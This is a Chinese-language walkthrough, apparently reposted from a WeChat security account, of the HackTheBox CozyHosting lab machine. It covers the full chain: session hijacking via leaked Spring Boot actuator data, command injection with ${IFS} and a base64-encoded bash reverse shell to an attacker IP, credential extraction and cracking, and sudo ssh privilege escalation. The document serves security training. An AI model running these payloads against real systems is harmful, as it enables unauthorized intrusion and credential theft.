HackTheBox 的 CozyHosting 是一款Linux红队实战靶机,涵盖 Cookie伪造、命令注入、敏感数据查找、密码爆破、sudo提权等红队技术,适合初级选手挑战权限升级完整链条
靶机地址
https://app.hackthebox.com/machines/559
适合读者
√ 渗透测试学习者
√ 企业安全运维人员
√ CTF竞赛战队
√ 想掌握链式攻击思维的安全从业者
一、信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.230 -oA nmapscan/ports
nmap -sT -sV -sC -O -p22,80 10.10.11.230
开放了 22,80 端口,系统ubuntu
,nginx 1.18.0
,域名cozyhosting.htb
使用 Nmap 自带脚本漏洞扫描没有结果
nmap -script=vuln -p22,80 10.10.11.230 -oA nmapscan/vuln
Web 信息收集
修改/etc/hosts
文件,添加 IP 和域名,Web 访问成功
vim /etc/hosts
whatweb,得到一个邮箱[email protected]
wappalyzer
dirsearch 目录扫描,得到一些 springboot 接口泄露
dirsearch -u http://cozyhosting.htb/ -e *
gobuster 目录扫描
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://cozyhosting.htb -t 30
gobuster 子域名探测,没有有效的子域名
gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://cozyhosting.htb -t 30 --append-domain
信息整理
二、漏洞探测
登录页面探测
首先使用收集到的邮箱和常见的弱口令对登录页面进行爆破,但是没有爆破成功
登录请求包保存到本地,尝试了 SQL 注入也未果
sqlmap -r 1.txt --batch
从接口泄漏到命令注入
前面探测到了很多 springboot 的接口泄漏,依次查看
/actuator/env
接口暴露了密码等配置信息,信息加了星号
但是尝试了读取星号内容和直接 RCE 都失败了,读取星号和 RCE 方式参考下面这个连接
https://github.com/LandGrey/SpringBootVulExploit
/actuator/sessions
接口返回一个 kanderson 用户以及 session 值
/admin
接口扫描状态码是 401 需要授权,打开浏览器控制台,将 Storage - Cookie 中的 SessionID 修改为上面接口泄露的 SessionID
再访问/admin
,浏览器就跳转到了后台管理页面,使用该用户登录成功,这个网站是 VPS 云主机的管理面板
页面上有个功能是主机连接设置,需要填写机器名和用户名,随便填写一个机器名和用户名提示校验失败,校验信息在 response 头中的 Location 字段
密码后面加个单引号'
,返回 bash 命令语法错误,这里大概率存在命令注入
在攻击机用 python 开启 http 服务,把单引号换成命令拼接符分号;
再接上 wget 命令
python -m http.server 8000
提示用户名中不能有空格
用${IFS}
替换空格,重新请求后没有报错,但是也没有返回任何信息
可能是命令后面没有闭合,再最后加上一个分号;
再次请求后,攻击机收到目标机器的访问流量,确定这里存在命令注入漏洞
反弹 shell
把 wget 命令换成反弹 shell 命令,替换空格为${IFS}
bash -i >& /dev/tcp/10.10.14.93/1234 0>&1
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.14.93/1234${IFS}0>&1
运行报错,用户名中有特殊符号,服务器无法正确处理
把反弹命令进行 base64 编码
# 失败
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkzLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'
# 去掉 bash -c 成功
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkzLzEyMzQgMD4mMQ==}|{base64,-d}|bash
echo${IFS}"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkzLzEyMzQgMD4mMQ=="|base64${IFS}-d|bash
反弹 shell 成功,当前是 web 用户
查看 passwd 文件找到几个可登录用户root
postgres
josh
cat /etc/passwd | grep /bin/bash
没有权限进入普通用户的目录
在反弹 shell 后的默认路径/app
下有个cloudhosting-0.0.1.jar
文件,解压该文件,查看是否有敏感配置
jar -xvf cloudhosting-0.0.1.jar
目标机器没有 jar 命令
但是查看 java 版本是正常的,$JAVA_HOME
没有结果,难道是 jar 命令的环境变量没有配置?
java --verison
echo $JAVA_HOME
查看 jar 命令是否安装,依次执行以下命令
# 查看 java 程序的执行路径
which java
# 查看 java 的安装路径
ls -lrt /usr/bin/java
ls -lrt /etc/alternatives/java
找到 java 的安装路径是/usr/lib/jvm/java-17-openjdk-amd64/bin
,在该路径下没有 jar 命令,看来确实没有安装
试了其他可以解压 jar 包的命令也没有安装,只能把文件拖回本地解压,在目标机器使用 python 开启 http 服务
# 目标机器
python3 -m http.server
# 攻击机
wget http://10.10.11.230:8000/cloudhosting-0.0.1.jar
下载后使用 7z 解压
7z x cloudhosting-0.0.1.jar
用 grep 命令递归搜索目录及子目录所有文件中的关键信息,比如 password 字段
grep -r password ./
搜到一条 postgresql 数据库的密码Vg&nvzAQ7XxR
在当前 shell 中使用该密码可以成功登录 postgresql 数据库,需要使用 127.0.0.1,使用本机 IP 拒绝连接
# 拒绝连接
psql -U postgres -h 10.10.11.230 -p 5432 -d postgres
# 连接成功
psql -U postgres -h 127.0.0.1 -p 5432 -d postgres
-d
参数指定数据库这里是猜的postgres
刚好猜中,这个库一般是默认存在的,管理员可能自定义 dbname
l # 列出所有库名
c 库名 # 连接某个库
d # 查看当前连接的库中所有的表名
select * from 表名; # 查询表数据
在 cozyhosting 库的 users 表中查到两条用户名和哈希
把用户名和密文保存到 hash.txt 来本地破解
这里使用 john 破解,字典选择 kali 自带的 rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
破解出 admin 用户的密码manchesterunited
ssh 使用该密码成功登录 josh 用户,得到普通用户的 flag
ssh [email protected]
三、权限提升
SUID
查找有 SUID 权限的二进制文件
find / -perm -u=s -type f 2>/dev/null
但是在 gtfobins 搜索,发现上述文件都无法利用 SUID 提权
https://gtfobins.github.io
SUDO
搜索可以使用 sudo 运行的命令
sudo -l
ssh 命令可以 sudo 运行
gtfobins 搜索到几个 ssh 提权命令
使用第二条命令提权成功,在 root 用户目录下找到 flag
# 失败
sudo ssh localhost $SHELL --noprofile --norc
sudo ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
# 成功
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
原文始发于微信公众号(红队安全圈):HTB-CozyHosting 红队靶机三阶渗透思维突破:Cookie伪造+命令注入组合拳
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论